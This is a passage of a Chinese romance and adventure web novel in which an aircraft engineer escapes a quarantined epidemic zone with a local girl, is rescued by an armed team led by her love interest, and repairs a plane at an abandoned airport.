吉普车行驶在荒原上，路面不算平，两边是低矮稀疏的荆棘植物，不知道有没有非洲虎之类的野兽。
小女孩叽叽喳喳说个不停，隋英回头，小女孩站起来，趴在两个座椅中间，将头伸过来，眼睛亮晶晶地盯着前面。
“你叫什么名字？”隋英笑着问她，也没指望她回答，只是指了指她。
油箱提示油量过低，她只能停车，打算将备用油箱里一点油加进去。
下车后才看到油箱滴滴答答在漏油，先前破布塞子不知道什么时候掉了，她忙去堵，四下看着有什么东西可以塞。
小女孩跳下车，折了低矮树枝放嘴里嚼。
“你饿了？”隋英手堵着油箱，摸着围巾，干脆用牙嘶一块。
她正在卖力地撕扯围巾，小女孩却从嘴里吐出一块嚼过的树皮，蹲在她旁边说着什么，隋英将手拿开，她将树皮抹在洞口，然后继续嚼树皮。
隋英发现嚼过的树皮似乎有粘性，像树胶，小女孩糊了两块，完全将洞口封住，然后去挖树下的红胶泥，像上墙一样，涂抹在洞口。
做完这一切，小女孩咧嘴笑，露出大白牙，像是在炫耀。
隋英摸摸小女孩的头，“真棒，真棒，太棒了！”
小女孩却指着自己叽叽咕咕解释一打通，隋英皱着眉，好半天才明白，她应该是自我介绍，以为“真棒”是叫她的名字，在给隋英纠正。
她嘴角抽搐，舌头打结，在小女孩一再重复的读音里勉强听出她的名字，“…蓝莓？”
小女孩欣喜点头，隋英也高兴地笑了，“你叫蓝莓？这个名字好，蓝莓，蓝莓。”
小女孩还在纠正，隋英实在发不出她口中的音，就一直叫“蓝莓”，最后小女孩像是泄气一般。
靠着备用油箱里一点油，两人走到能看到高高低低城市的地方。
隋英大是振奋，一脚油门踩到底，猝然，两声枪响吓得她一脚刹车，她举着手下车，高声用英语沟通。
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>却是高压水枪堵着她不准上前。
蓝莓吓得尖叫，缩在车里不敢抬头，隋英挥手，子弹擦着衣服，吓得她整个人瘫倒。
第一次近距离感觉到子弹擦过身体的恐惧，在这里，她被打死，就死了。？……
蓝莓叽哩哇啦的尖叫，隋英猛然反应过来，倏地上车，后退几米，往另一边开车。
没走多远，车子提示油量耗尽。
在这种石头瓦砾不平的“路”上，靠着惯性和机油勉强又走了一两公里，便再也不动了。
隋英趴在车窗行，仔细查看，这里好像有封锁铁网，回头看了看疫区，这是怕他们出去，所以将人圈禁起来，任由其自生自灭。
想要从这里离开，他们竟直接开枪？
隋英气愤不已，蓝莓却是瑟瑟发抖，怯生生地拉着她，小声嘀咕着，一直不敢抬头，蜷缩在车窗下。
在车上坐了会，忽然又是两声枪响，明显感觉车身倾斜，轮胎竟被打爆。
隋英差点破口大骂，这在她有限的生命里绝无仅有，可也只是刚露头，就被蓝莓拉住，嘀嘀咕咕给说话。
她完全明白蓝莓的意思。
想了下，隋英爬到副驾驶，在那边下车，又打开后座车门，牵着蓝莓下车，她想着往里跑，他们总不至于开枪吧。
蓝莓很抗拒，但她细胳膊被隋英拽着，撒开了就跑。
“砰砰砰！”
连声枪响，吓得蓝莓到底哭喊尖叫，隋英只拉着她闷头跑，紧接着身后传来抢声，不过不是对准她们。
像隋英这种完全不动枪的人也能清楚听出是不同的枪在射击。
她们跑到一个土坑，忙蹲下喘口气，呆了会，没人朝她们射击，隋英缓缓抬头去看，封锁铁网那边好像在打仗。
隋英松了口气，左右两边瞭望，看到一边人少，她拉着蓝莓就往那边跑。
尽量离封锁网远些，找有遮挡物的“路”，呃…其实根本没路，就是未经开发的砂石红泥地质，低矮的荆棘植物，需要她们越过一道又一道土坑。
两人走了累了，随便靠在土坑，用荆棘植物遮挡阳光，休息一会，继续走。
带的两瓶水几片零食都吃完，前后左右依旧仿佛望不到头，山丘土垒似乎又在眼前。
隋英指了指封锁网，蓝莓拉着她摇头，指了指一条沟壑，顺着望去，那边像是没有网遮挡。
两人十分高兴，赶紧跑去。
看着就在眼前，跑跑走走大概一两个小时，距离似乎没怎么变，日头已经开始西斜。
隋英又累又困，蓝莓话也变得很少，两人找了个背风的土堆，坐下休息。
将蓝莓搂在怀里，小女孩很乖，两人不知不觉睡过去。
可能是太累太困，等隋英再次醒来时，暮色沉沉，西边最后一缕亮光落尽，她猛地坐起，真的睡过头了。
四下张望，没有光亮，远处铁网那边只有零星火点，时不时传来抢声。
隋英内心是绝望的，难道要在这里度过一夜？
蓝莓摸着她胸口，指了指胸口位置，隋英一摸，是耳机。
她拿出，蓝莓好奇地睁大眼睛。
耳机盒是苏韫的，两只耳机一新一旧对比明显，菡萏一笑，戴上旧耳机，忽然一声连接音。
隋英不可置信，呆若木鸡。
89. Chap.89
隋英摘下耳机，侧耳细听。
蓝莓已经朝另一边爬去，爬出几步，又回头，拉着她的衣角，意思是让她跟上。
隋英再次戴起耳机，没有声音。
刚才是幻听吗？
她不甘心，往相反的方向去爬，裤脚被蓝莓拉着，她示意小女孩跟着她，可蓝莓怕的要死，死活不肯。
隋英不愿意放弃，继续沿着沟壑往前走。
夜幕下，一小队黑色蒙面全副武装人员悄无声息地移动，忽然其中一人举手握拳，做了个停止前行的动作。
身后一人立刻警戒，蓄势待发。
他们已经听到脚步声。
隋英已经极力隐藏，但在这些专业人士看来，响声太大。
她不知道一杆冰凉漆黑的枪口已经瞄准她，只是小心摸索前进，忽然听到身后有动静，一回头，蓝莓跟了上来，眼睛异常闪亮。
她牵着蓝莓，一手捂着耳机，想要再次捕捉信号。
远处封锁铁网那边偶尔有探照灯扫过，吓得她别过脸去，有时连蹲下都忘记。
向前又走了一段，耳机突然出声，是连接音，她怔怔站住，“蒋弋？”轻轻呼唤，回应她的只有猎猎夜风。
隋英拉着蓝莓快步往前走，“蒋弋？”
眼前漆黑以前，沟壑纵横的土坎需要爬上去，再翻过去，这时，耳机里传来蒋弋的声音，“隋英，是你吗？”
怔然。
是安心，是欣喜。
隋英出声，“蒋弋，是我，是我，你在哪里？”
蓝莓吓得紧紧拉着她的手，试图要将她拖走，隋英站在土坎下，蓦然，一抹高大的身影从土坎那边跃过，轻轻跳下，仿佛从天而降。
站在她面前。
眼前的人全副武装，戴着头盔，蒙着面罩，只露出那双凉薄冷戾的双眸，却是在看到她时氤氲出水花。
隋英被一下按进怀里。
她真的差点放声痛哭，只紧紧抱着蒋弋，捶打几下低声呜咽，只一声便止住。
蒋弋松开她，摸着她的脸，然后低头看了一眼，隋英跟着低头，却见蓝莓对他又踢又打，还上嘴咬。
只是他穿的是作战服，就是豺狼的牙未必能一下子咬碎。
“跟我走。”
他按了两下肩上的信号对讲机，然后举起蓝莓，直接丢过去，紧接着屈膝，示意隋英踩着他大腿爬上去。
“放心，那边有人接。”
隋英当然放心，想也不想就踩着爬上去，然后顺着土坡往下滑，立刻被人接住。
猝然，探照灯朝这边扫来，所有人屏息凝神，隋英搂着蓝莓，做了个“嘘”的动作，小女孩很懂事的点头。
她扫了一眼，这边六个人，皆是与蒋弋一般全副武装，从露出的眼睛判断，有亚洲面孔，有欧洲面孔。
探照灯刚扫过，又一下子扫来，似乎发现了什么，直照着他们这边。
隋英和蓝莓被一条手臂摁着靠在土坡上，那人按着对讲机，“蒋，别动。”
对讲机信号闪了一下。
随即，她的耳机里传来带着笑意的声音，“隋英，别怕。”
隋英轻轻开口，“有你在，我不怕。”只是用口型回答，但她感觉他能听到。
黑暗中，隋英唇角勾起弧度，轻轻贴在土坡上，仿佛透过厚厚的土坎感受到他的温度。
蒋弋完全蹲下，悄无声息躲在土坎与沟壑形成的夹角位置，戴着手套的手覆盖土坎上，仿佛在轻抚隋英，让她不要怕。
肩上的信号“呲呲”响了两声，声音十分微弱，隐匿在风声里。
蒋弋按了三下，两长一短。
“砰！”
像个小型炮弹炸开，地面跟着震了震，沙土粒顺着土坡滚落，刷啦啦落在头上，后领衣服里。
隋英戴着帽子，低着头，将蓝莓紧紧搂在怀里，石头沙土落在肩头。
上空的探照灯闪了一下，蒋弋刚要起身，信号灯再次响了一声，声音拉的极长，像是某种警告。
果然，蒋弋瞬间缩回去。
与此同时，将将松口隋英和蓝莓的手臂再次挡住她们，压着气口说道：“别动。”
这人的信号响了几下，他按着回复，随即又响。
隋英看不懂，但也知道他们这是在沟通，方才的响动应该是他们留在外面制造声音，吸引注意力的，可惜这些看守不上当。
他拿下对讲机，“蒋，应该被发现了，必须马上撤离。”
蒋弋回复：“你带隋英从山谷先走。”
“蒋，你若出事，我们没法向贺先生交代。”
蒋弋，“按我说的做。”
“no，吸引火力也不需要你。”
隋英在耳机里全能听到，浑身冰凉，双腿酸软，很想开口，又怕添乱。
另一个躲在拐角处警戒的人开口，“我有办法，我们分三路。副队、迈克、小强送人先走。我，阿虎从这儿迂回到队长西侧，我们刚来的时候看过，那边有峡谷，在那制造响动，阿叶留下策应队长。”
蒋弋，“这里已经被盯死，我撤回疫区，再想办法脱身，你们将隋英安全送出去，任务就算完成。”
“蒋，你要是出事，我们没有容身之处，就按大灰说的办。”
大灰：“实在不行，我们打掉驻守在这里的瑞斯撒拉护卫队。”
副队不满地叱责：“动点脑子，一旦真正交火，必然会将蒋牵扯进来，势必惊动贺先生、进而惊动这个国家各方势力，到时候蒋家元老会出动，谁负责。”
蒋弋：“隋英，别怕，跟他们走。”
其余人都不再说话，只一双双眼睛盯着隋英，其中一人抱起蓝莓，蓝莓挣扎了一下，见隋英点头，也就乖乖不出声。
她捂着耳机，想说话，可……
还是副队长明白，直接将对讲机递过来，冲她微不可查地点头，又警惕地看向探照灯那个方向。
“蒋弋，你如果往回走，大概半个小时有个分岔路，左侧有一条大裂缝。”
她来的时候是白天，观地形，应该能避开封锁，而且是一条捷径，但裂缝陡峭，她没工具，要想通过很困难，更何况带着蓝莓。
其他人都以为隋英要哭哭啼啼，最起码要说几句“我等你”、“你要平安啊”、“我不走，我要跟你同生死”之类的话，谁知她半个字的废话都没有。
不由多看了几眼。
微弱的折射光线下，女孩纤瘦高挑，几乎无可挑剔的五官，脸脏兮兮的，短发，眼神柔弱恐惧，说出的话却冷静坚韧。
他们本来打算是趁着夜晚摸进疫区找人，谁知走到半路就遇到，刚刚还为这次行动运气爆棚而窃喜。
现在看来，这女孩本身就坚韧，难怪懂得自救，知道自己往外跑，还很聪明，知道躲避，连方向都没错。
隋英知道时间紧急，说完这句，将信号对讲机还回去。
蒋弋敏锐地察觉到那里可能是一条通道，“我知道了，我们进来的时候看到那条裂缝了，阿叶，你在那里接应我，其他人按照大灰说的行动。”
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副队长带路，小强抱着蓝莓，隋英躬身跟着，迈克断后。
一行人小心翼翼通行，沟壑越走越浅，随即又跳下一条宽窄不一，高低起伏的甬道，不一会隋英就看不见前面的人了。
迈克拍拍她。
隋英喘息着回头，“抱歉。”白天跑了一天，没怎么吃东西，体能有点跟不上。
“我背你，你这样会拖垮我们的速度。”
倒是直截了当。
隋英点头，任由迈克背着，却是比她自己走要快的多，就是不稳，左擦右撞，她感觉身体多处受伤。
迈克偏头，“抱歉，我们越早穿过封锁网，蒋越安全。”
“我明白，辛苦你了。”
大约疾行了两个小时，终于到一处陡峭斜坡，月色已爬上山坡，借着月色，隋英看到封锁网只到斜坡上方，但他们目前所处沟壑，攀着峭壁就能通过。
他们这些人通过当然没问题。
小强将蓝莓背在背上，再用攀岩绳扎紧固定，带个孩子出去没问题，但隋英……
她看着几近90度垂直的峭壁，摸着土质，并不算坚硬的砂石红泥，往下看，依稀能辨出有尖利的大石。
能看到的是大石，看不见的不知道有什么，摔下去非死不可。
难怪这里不设封锁网，这谁能跑的出去。
哦，如果能雇得起这样的队伍的人，估计也不可能被关到这里等死。
“看到了吗，我们来时打的桩。”副队一指，隋英看到斜坡上有凸起的铁棍，大约勉强能踩个脚尖。
用眼神询问她。
隋英点头。
顺序调换，小强背着蓝莓走在前面，只见他像个长臂猿猴，轻巧灵活又迅捷的通过，没几下就隐没在黑暗中。
大约五分钟，副队肩上的信号响了。
“他们安全，我们跟上。”
隋英腰上戴上护具，两边身子分别与副队和迈克绑在一起，她在中间。
她没废话谦让，戴上手套，完全听从指挥，身体紧贴墙壁，踩的时候浮力，兼之她手长腿长，几乎能完全做到指令要求。
大约十五分钟，三人通过。
副队竖起大拇指，“你受过训练？”
隋英细细喘息着，其实她感觉身体已经到了极限，未受伤之前，这种岩壁她应该能做的更好。
闻言也只是矜持地摇头，“我是硬撑着。”
“这种时候靠的就是意志力。”迈克朝她点头，见副队在发信号，等了一下，却没有回应。
猝然，急促的枪击扫射划破长夜，密集的枪点朝着他们来时的位置射击。
副队拿着信号对讲机，“蒋？”
没有回应。
隋英紧紧咬着后槽牙，大脑宕机，不知该如何思考，只是发楞。
副队又按了几下信号，另一处枪击炮火声响起，霎时，四处抢声不断，或近或远，仿佛隔着山丘，在另一座山谷，又似就在上空，下一刻就会落在头顶。
“嗯？”副队一脸诧异，摁着信号对讲机，迈克急了，“蒋的信号怎么会中断，联系大灰。”
小强摆手示意，“听声音，他们没有时间回复，我们先撤。”
没有人征求隋英意见，也许是怕她哭闹，直接带着她离开，走下山坡，在一处山坳里掀开迷彩帐篷，两辆吉普车赫然眼前。
“我们必须先送你会莉萨拉，再回去营救蒋。”
隋英牙齿都在打颤，“留下一个人开车，我不知道路，放心，我不会添乱。”
90. Chap.90
隋英上车时一脚踩空，吉普车底盘高，她第一下竟没用上力，膝盖重重磕了下，当场就流血。
所幸副队一把扶住她。
隋英道歉，“对不起，我太累了。”声音都在发颤。
整个人是散的，眼皮打架，一点力气也没有，最后被扶着上车，竟摔倒在车坐上。
迷迷糊糊中听到有人说了句“发烧了”，之后便不省人事。
隋英感觉脸痒痒的，上下眼皮像是涂了胶水，死死粘在一起，怎么睁也睁不开，身上似有千斤重，一点力气都使不上。
不能睡。
心里只有这个念头，完全靠着意志力咬破嘴唇，猛然睁眼。
蓝莓正拿着湿巾给她擦脸，看到她睁眼，高兴的手舞足蹈，外面的人听到动静，立刻上前。
隋英挣扎着起身，浑身像是被棍棒拳脚痛打过，疼的快要超过忍耐极限。
“你发烧了，我给你注射了营养液，这是药，”副队将几片西药片给她，余光扫了眼蓝莓，“这个小孩是从里面带出来的？”
迈克和小强也齐齐紧盯隋英。
她瞬间了然，也是才反应过来，封锁网里面的人都是得了传染病，从里面往出带人，对整个团队都是极其危险的。
隋英点头，简单复述了下里面人的症状，“蓝莓身上没有痤疮溃烂，眼睛也正常，…就是脸色不好。”
“送进去的一定确定感染。”
蓝莓像是知道在说她，乖巧地缩在一旁，隋英摸摸她的头发，“放心，我答应过你，会想办法给你治病。”
“联系到蒋弋了吗？”她回头问。
副队摇头，“你发烧晕倒了，很危险，既然你醒了，迈克，进去找人，小强，我不管你用什么办法，一定要联系上蒋。”
两人点头，各自整理装备后，瞬间消失在夜色中。
副队让隋英补充能量，继而给她简单包扎了膝盖，发烧、受外伤、接触传染病患者，霸服叠满。
“你先休息，半个小时后我们回莉萨拉。”
隋英低着头，“你们除了对讲机，还有别的联系方式吗？”
“有。”副队很肯定地点头，但没有具体说，隋英心头稍稍一松，偏头看着小心翼翼吃罐头肉的蓝莓。
“能借用你的手机吗？”
“哎呀抱歉。”副队直接从车上拿了部新手机，“忘了。”
蒋弋失踪，他责任重大，偏偏还要执行保护隋英的命令，面上看不出，内心早已焦躁不安。
隋英拿着手机给苏韫打了电话，描述了症状，“…我没感觉，嗯，发烧，我感觉是累感冒的…好。”
当地多种传染病，据苏韫判断，蓝莓他们应该得的是虫血病，先是发热，接着由内到外溃烂，等到从外观上看到皮肤溃烂的情况时，人就没救了。
至于脸色发青发绿，大概就是死人脸。
难怪这里被封锁起来，没有医生，不允许离开，只能等死。
副队将另一辆吉普车伪装起来，然后开车带她们离开。
“这里距离莉萨拉机场70公里，送你回去，我再去接应队长。”
隋英点头，又想起他开车看不到，忙应声，又问道：“你们怎么找到我的？”
从见面就一直处于危险当中，之后一直奔命，现在才有一点空闲问这个问题。
“昨天一整天我们分几路，将周围找遍了，包括德维拉尔交战区也闯了，最后只剩下疫区，就想进去碰碰运气。我们并不知道你在里面，是蒋坚持。”
他回头，“你怎么会进疫区？”
隋英将自己遭遇说了一遍，副队沉默了一瞬，“和蒋判断的差不多，那个司机有问题，但他目前失踪，已经派人去找了，他的底细也在查。”
“我不认识他。”
隋英只能这么说，先前在疫区醒了就怀疑司机，却想不通原因，现在得到证实，还是不知道原因。
“他会不会还在里面？”会不会是走错路？发现是疫区后，丢下她跑了？
隋英嘴角扯了下，自己都不信。
“有可能。”副队长没有提这里的黑暗与恐怖。
战争会使人丧失人性，激发原始的恶，这里各方势力交织，送个人进去根本不是难事。
隋英叹气，脑袋枕在靠垫上，一颠一颠的，越来越昏沉。
她不停地补充能量，强撑着不让自己睡着，她感觉不像是要睡觉，而是昏迷，她不能倒下。
两小时到达莉萨拉废弃机场，向恒、吴晓烁等人都在那等候。
车子停稳。
他们没有过来，隋英也没有过去，还有几个人戴着口罩，站的更远。
隋英了然，指了指远离机场的帐篷，“我和蓝莓住那边。”
向恒抿着唇，那顶帐篷就是其他人坚持搭的。
自从收到在疫区找到隋英的消息后，整个团队就炸开了锅，最后只能将隋英的帐篷挪到远离众人的位置。
“清水食物干净的衣服都准备好了，”向恒似乎很愧疚，“隋英，对不起，是我的疏忽。”
隋英摇头，并不想说什么，比起这些，她现在只想知道蒋弋的情况。
扫了眼机场四周亮起的灯，看来供电问题解决了。
“明天维修飞机。”她只说了一句，就带着蓝莓回了帐篷。
其他什么也不需要说，她知道蒋弋只要一有消息，就一定会联系她，看了眼副队绝尘而去的吉普车，心里默默祷告。
将帐篷拉好，先给蓝莓洗了澡，仔细检查，小孩的皮肤好好的。
她自己才换了衣服，用清水一点一点擦身体，手臂、双腿、腰上……多处擦伤，撞伤，反正就是各种瘀伤，难怪这么疼。
“隋工？”
吴晓烁在帐篷外面出声，隋英愣了下，才应声，“你们还给我这里通了电，麻烦你们了。”
“我，呃…”
“没事，注意预防是必须的，我也算是无妄之灾，你们得保护好自己，放心吧，我朋友是医生，明天会有医疗团队过来。”
吴晓烁看了眼向恒，两人都自惭形秽，心里更加歉疚。
“我真没想到，司机跟了我六七年，怎么会？我实在想不通他到底为什么要害你。”
“现在下结论还为时尚早。”隋英透过缝隙看到两人，想了下，“有没有云南白药？”
“有，我去拿。”向恒立刻往回跑。
“你受伤了？严不严重？”
隋英无心回答，干脆拐了话题，“你和蒋弋去电力公司挺顺利吧。”
“顺利什么，那就是个‘窝点’，”提起这个，吴晓烁满肚子火，“你不知道，我就没见过这么不正规的公司，当然，这个国家
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现在也彻底乱了，不能拿咱们的标准要求，可也不能见人就抢啊。”
她本来也只是随口一问，听吴晓烁这么说，倒十分好奇，“那最后是怎么谈妥的？”
“这些人贪得无厌，一看蒋机这么有钱，开始坐地起价，按我们的原计划，不行就晾着。他们缺钱，会反过头来找我们，可紧接着蒋机收到你失踪的消息，立刻答应了他们的条件。”
隋英一顿，喃喃道：“那一定损失不小。”
吴晓烁拔高音量，“他们见蒋机这么好说话，一而再，再而三地敲|诈|勒|索。”
“啊？”隋英偏头朝外面，“那后来呢，是给了多少啊？”
在疫区，他们接到她时，副队提过贺明霁，会不会是一笔天文数字？。
“哼哼！蒋机又没那么好脾气，趁其不备，直接飞身，抓住电厂老板，”吴晓烁说起当时的情景，手舞足蹈，唾沫横飞，“我都不知道蒋机袖子里藏了刀，吓死了。”
隋英也是目瞪口呆，急急追问，“然后呢？”
“然后他们几十个人拿枪对着我们，当时我以为死定了，没想到蒋机外面，埋伏了狙击手。”
隋英听的出神。
“紧接着蒋机从口袋里拿出手|榴|弹，用牙齿拔掉保险，就靠大拇指按着，电厂老板就妥协了。”
“……”
他拿刀抵着人脖子，再拿手|榴|弹威胁人？
这是蒋弋吗？
他平时无赖，脾气又坏，情绪还不稳定，但很好哄。
刚做完手术那会，她基本不能动弹，白天觉睡多了，有时半夜醒来，就看到他睡在旁边，与她隔开距离，卷翘的睫毛，白皙的皮肤，乖巧的睡姿……怎么都无法与吴晓烁描述的人联系在一起。
“他们就因为这个供电？”
“当然不是，”向恒出声，见帐篷拉开一条缝，将药瓶递进去，“示以威势，宇以重利，没有实实在在的好处，那些人怎么可能妥协。”
“好了，别废话了，隋英也回来了，你赶紧回去休息，明早组装FRC。”
吴晓烁小声嘀咕，“蒋机还没回来呢。”
隋英拉上拉链，双腿、双臂、腰上全都喷了药，药喷在破皮出血的地方疼的钻心，可她就是没有眼泪。
头疼，眩晕，折磨了七年的痛感再次袭来。
隋英蜷缩在气垫里，抱着脑袋，一直到天蒙蒙亮时，她都没有丝毫睡意。
她再次失眠。
那么疲惫，竟失眠了。
差不多有半年没有失眠了吧，隋英用清水敷了敷眼睛，出了帐篷，天灰蒙蒙的，闷热压的透不过气。
看着手机，有苏韫的消息，没有蒋弋的消息。
甩甩思绪，给向恒打了电话，要组装FRC，维修飞机，得向恒安排，这么多人万一传染不是小事，她头昏脑涨，嗓子像拉锯，症状像感冒，可谁也不敢冒险。
最后决定，吴晓烁和魏子默当助手，向恒拿摄像机全程拍摄。
根据公司规定，重大设备拆装必须要全程监控，莉萨拉机场没有安装高清摄像头，只能手动拍摄。
所有人戴着口罩，隋英穿着短袖短裤工服，已经开工。
摄像机直直对准手臂、小腿上红紫交错，尤其是膝盖上触目惊心的伤，三人楞在原地，直到隋英发布操作指令，才回神。
91. Chap.91
皓日当空，金色光晕扑洒在土黄色大地上，这座废弃多年的机场竟变得神圣起来。
隋英站在简易移动楼梯上，撑持着纤瘦高挑的身子，正在给机翼“做手术”，灰色的工服后脖颈位置颜色深重，魏子默和吴晓烁两个人的衣服早已湿透。
三人配合默契，没有正规的维修操作间，就在阳光下，站在沙土地上，迎着烈日风沙，互相递着工具，完成维修。
向恒领着其他工作人员正在平整“跑道”。
CA-8修好，势必要从这里起飞，没有塔台，没有跑道，没有指引，连路面都是坑洼不平的。
但，别无他法。
蒋弋站在“门口，”就着断壁残垣简易设置的路障就算门。
向西的斜阳打在他倾长挺拔的身上，他摘掉头盔，随手扔下，接着是头罩，身上的安全绳，破烂的作战服……一件件丢掉，一步步走向隋英。
这时有人才反应过来，他的一条腿像是使不上力，一条腿向前，拖着另一条腿。
苏韫在医疗帐篷里听到动静，回头一看，“蒋弋，你，还活着？哦，我是说，你受伤了？”
蒋弋像是没听见，继续，艰难的，一点一点，往隋英身边挪动。
每一步都走的十分艰难，眼神却异常坚定。
副队挥手，两人抬着担架，苏韫顾不上其他，急忙救治伤员。
这几人拆掉身上的装备，每人身上多多少少负伤。
隋英忽然心口一疼，像是心电感应一般，忽然停下手中动作，慢慢转过脸，斜阳耀眼，竟睁不开眼，泪水扑簌簌的流，怎么也止不住。
从昨夜到此刻，终于哭了出来。
“蒋机？”
“蒋弋哥！”吴晓烁大吼一声，所有人终于回过神，蒋弋失踪，他们都没说，但都已不抱希望。
进了那样的地方，在枪林弹雨里失联，还能是什么？
都是成年人，并不相信童话。
隋英能跑出来已经是奇迹。
这个国家，满目疮痍，奇迹不会一遍又一遍发生。
但，“隋英，我回来了。”
蒋弋站在移动楼梯下，抬头笑着，扯动嘴角的伤，额角又开始渗血，在斜阳光晕下诡异刺目。
这一幕似曾相识，又不尽相似。
隋英手中的扳机掉落，撞击着铁架，发出清脆的声音，声声砸进人心。
她想跳下去，跳到他身上，就像上次在机场那样，却如年少时那般，没动。
这里太高，风沙太大，最终没跳。
吴晓烁回神，拿走她手里另一件工具，“隋工，剩下的工作交给我和老魏，你已经十个小时没休息了。”
隋英没有推辞。
她才发现双腿因为站的太久而僵硬，弯曲下楼时险些一个趔趄栽倒，蒋弋猛地扑过来，却直接摔倒。
隋英顾不得其他，三两步跳下楼梯，挣扎着爬起，搀扶起蒋弋，“你回来了？”
蒋弋粗粝的手摩挲着她的脸，一遍又一遍擦掉眼泪，却是越擦越多，最终只能将女孩紧紧搂进怀里。
“我回来了，隋英，我回来了。”
“你回来了？”
她反反复复地问，他只拥着她，一手托着后脑，下巴不停蹭着她的头发，思念极深，爱怜万般。
哽咽中模糊听到他闷哼声，隋英骤然清醒，忙去看他的腿，又急急扶着他到医疗帐篷，这才看到救她的六人，人均负伤，阿叶躺在担架上，身上多处包扎，人已昏迷。
副队指挥，将包扎好的伤员抬到旁边帐篷。
苏韫换了手套，穿着防护服，“躺上去。”
“先给她包扎。”蒋弋早就看到隋英浑身是伤。
“我是医生你是医生，”苏韫没好气地开口，“我不知道照顾我的好朋友，要你多管闲事。”
蒋弋固执地不肯上简易手术台。
“蒋弋，你的伤不能再拖，”隋英急了，“我只是擦伤，韫韫已经给我处理过了。”
清晨，苏韫一行赶到莉萨拉机场，给她做了检查，重新包扎了伤口，初步判断。
她并没有感染血虫病，但蓝莓确诊，已经送往救助中心。
隋英维修了一天飞机，各种钻、攀、爬，导致膝盖上的伤口渗血，和着汗水，现在估计都僵在膝盖上了。
蒋弋温柔注视着她，“我不要紧，先给你处理，乖。”
苏韫白了他一眼，“行，反正我们也缺人手，我也想先给英子包扎。”
隋英有些急，却被蒋弋摁在手术台上，苏韫剪开她膝盖上早已被汗水浸透的医用棉，伤口渗血的部位与医用棉粘在一起。
“忍一下，有点疼。”
苏韫用药水冲，一手拿着镊子，一点一点剥离，每一下仿佛用刀切割般的疼。
隋英咬着牙别过脸去，蒋弋站起，将她抱在怀里，余光瞥见她膝盖上的伤已经呈红黑色，血痕斑驳，心口一凛一凛的疼，比剜他的肉更他疼千倍。
最后一点棉纱像是长进肉里，苏韫冷酷一拽，隋英浑身一悚，有一瞬间疼的失去知觉，剧痛才缓缓蔓延。
痛到忍不住打了个寒颤。
“你就不能轻点。”蒋弋硬声硬气。
苏韫冷哼，“你要是当医生，比我更冷血。”
蒋弋瞪了她一眼，苏韫嫌弃蒋弋挡道，直接让他“起开”，隋英缓过劲，失笑道：“韫韫是医生，博士生，专业的。”
“真了不起。”蒋弋语气中带着讥讽。
苏韫肯定道，“谢谢你的认可，我确实比你强。”
蒋弋不想再理她，转而检查着隋英，握着双手，他也看到手臂除了撞上就是擦伤，问题应该不大，“其他地上还有没有伤。”
“没有，”隋英自揭短，“我膝盖上的伤是上车踩空弄的，很丢人吧。”
蒋弋蹲下，握着她的手认真说道：“大切诺基车太高，我应该装个踏板。”
医疗帐篷里，苏韫，副队及还没包扎完的伤员，医护人员，齐齐在心里，大声咆哮！又同步翻了个白眼，继而继续自己的事。
“好了。”
苏韫起身换手套，隋英恰好抬眼，迎上一双鄙夷的眼神，闹了个大红脸，斯斯艾艾起身。
“我回帐篷休息。”
蒋
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弋浑然未觉，“我先送你回去。”
“我换衣服，洗澡，”隋英咬牙切齿，“你别再挪动，我收拾好就过来。”
其他人纷纷跳起，都道“回去休息”，一瘸一拐离开。
蒋弋终于没再坚持，而是盯着隋英离开的背影，一头栽倒，“别让她进来。”
隋英捡起蒋弋的头盔和作战服回到帐篷，将已经磨损的不成样子的头盔放下，翻看衣服，硬邦邦的，破破烂烂的，像是从乞丐身上扒下来的一样。
乍一看，以为是汗渍，细看，才发现是血渍，肩背位置破开，肩带上还有通讯对讲机的卡扣残骸。
难怪会失去消息。
其他多处，像是抓破、刺破、撕扯、磨损撞击……血渍和着泥沙，明显是与人近身搏斗才负的伤。
蒋弋虽然是飞行员，又酷爱体育，身体素质自然没的说，可到底是蒋家与贺家娇养出来的贵公子，怎么跟那些亡命之徒厮杀？
“滴答”！
两滴泪落在衣服上，晕开血渍，和着沙土的血腥味蔓延。
隋英忙擦去眼泪，“回来就好。”
将衣服和帽子放进收纳箱，盖好盖子，这才拉好帐篷，小心脱下衣服，沾了清水擦了下身体，换上干净的衣服。
快速补充完能量，吃了药，准备去看蒋弋，却发现医疗帐篷外挂着“手术中”禁止入内的牌子。
此时夕阳西下，帐篷内白炽灯明亮，几道剪影挪动幅度很小，似乎在紧锣密鼓的手术。
隋英不敢打扰，见副队过来，点头打招呼，副队却用一种很奇怪的眼神看她。
“我？…是不是蒋弋有事？”
“别误会，”副队自嘲一笑，对着隋英，上下一挥，“一天时间，自己还浑身是伤，就完成维修，刚刚听你同事说，这属于高级工程师一个星期的工作量，我收回对你的偏见。”
以前也接过营救任务，每个营救对象各有各的奇葩，隋英是配合度最高，最省心的一位。
不过因为隋英随身带着一个得了传染病的小孩，他依旧对她抱有偏见，只当是贺先生与蒋弋两个人的命令，只能尽职尽责完成。
没想到她自己本身就有很强的能力，难怪会让蒋弋这样的人物不顾一切。
隋英抿唇微笑，“我是本职工作，你们才是出生入死。”
“阿叶的伤重吗？其他人伤的重吗？”
副队微微一笑，“你是想问我们是怎么找到队长的吧。”他挥手示意坐，而后才缓缓讲述。
大灰和阿虎绕到大裂缝准备接应，却收到蒋弋信号中断的消息，立刻寻了进去。
在蒋弋一侧接近他的阿叶也几乎是同时失去消息，他们立刻判断就是那个土坑那里出了事。
原来的路不能走，两人换了条路找去，只在原地看到碎裂的通讯设备和刺刀，以及近身搏斗的痕迹。
这种行为不像封锁疫区的人动的手，他们只能寻找记号去找。
从痕迹来看，意外发觉那些动手的人不像是来找蒋弋，而像是从隋英留在疫区的吉普车位置追过来的。
“我？”隋英指着自己，追杀她？
92. Chap.92
隋英完全无法相信。
她来班吉，就是运送设备，维修飞机。难道这几架飞机还有特殊任务？
正当隋英胡思乱想之时，副队及时解释，“这只是我个人推断。你是跟着送补给的车的方向走到封锁网位置，又遭到驱逐，才往峡谷方向走，然后沿途留下的了记号？”
隋英点头，其实不是刻意留下记号，而是她走的是沟壑纵横的荒原沙地，高低起伏，纵横交错。
不是滑倒就是摔倒，倒的之时肯定会下意识抓攀，这也是她身上这么多擦伤撞上的原因。
“你走了不少弯路，对方明明训练有素，却一直沿着你的记号往大峡谷的方向走。”
隋英再迟钝，也能听出话外之音。
一群训练有素，又装备精良的人，怎么可能像隋英一样乱走乱撞，唯一的解释就是跟着痕迹找过来。
所以副队他们带着隋英离开没多久，那些不明身份的人就循着痕迹找来，黑灯瞎火，双方又都在高度戒备状态，又被枪火压制，可不一见面就开打。
